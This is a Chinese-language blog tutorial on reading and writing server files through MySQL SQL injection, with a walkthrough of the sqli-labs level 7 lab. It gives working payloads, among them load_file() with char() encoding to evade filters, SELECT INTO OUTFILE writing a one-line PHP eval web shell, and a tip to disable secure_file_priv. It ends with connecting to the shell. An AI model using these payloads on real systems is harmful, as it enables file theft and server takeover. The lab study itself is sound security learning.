SQL注入之文件导入导出

一、前言

继续深入学习SQL注入

二、背景

通过SQL注入,我们不仅可以获取数据库内容,还可以通过具有一定权限的数据库用户,对操作系统进行操作,本文讲的就是文件系统进行的操作。

三、前置知识

本部分参考lcamry先生的《SQL注入天书》的background 3

相关操作函数

1.load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

使用条件:

A.必须有权限读取并文件必须完全可读

B.欲读取文件必须在服务器上

C.必须指定文件完整的路径

D.欲读取文件必须小于max_allowed_packet

如果上述任一条件不能满足则文件不能被读出,函数返回空。其实这里最难满足的是条件要求


在实际的注入中,这里有两个难点需要解决

a.绝对物理路径

b.构造有效的畸形语句(报错爆出绝对路径)

在很多PHP程序中,当提交一个错误的Query,如果display_errors==on ,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁

示例

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

这里的char()函数可绕过某些黑名单的过滤

利用hex()将文件内容导出来,读取二进制文件,尤其是smb文件时可以使用

2.文件导入到数据库

利用LOAD DATA INFILE  和   LOAD_FILE 命令,将文本文件读到数据库中

首先我们需要创建一个简单的文本文件,用于存储导入数据库的表格信息

接着在Mysql控制台运行下列命令,创建一张表用于保存上述信息


接下来便可以开始我们的导入工作了

load data infile '文件路径" into table authors fields terminated by ' ';

OK导入成功,接下来看看效果


在执行操作的时候容易碰到没有权限的问题

我们可以找到mysql目录下的bin,打开my.ini,找到包含secure_file_priv的项,对其包含的路径做一个注释即可


3.导入内容到文件

我们还可以任意内容(数据库操作也可)到文件中去,这里需要文件权限。

语法为

select ……… into outfile 'file_name'   [file_name]不能已存在的文件

a.直接导入内容

select version() into outfile 'c:\\xxx\\xxx\\xxx\\xxx.txt'

select <?php @eval($_POST[\'zzz\']);?> into outfile '文件路径'

b.插入内容到文件结尾

Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY


当前台无法导出数据时,可使用下列语句

select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’

四、实战演练

采用sqli-labs level7(dump into outfile)进行实验


0x01 测试注入点

发现是'))格式

0x02 测试字段数

结果为三

0x03 使用 into outfile 进行一句话的创建

结果显示出错,我们检查一下文件是否创建成功

0x04 检查文件创建结果

OK,文件已创建

0x05 菜刀连webshell

连接成功,为所欲为吧


  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值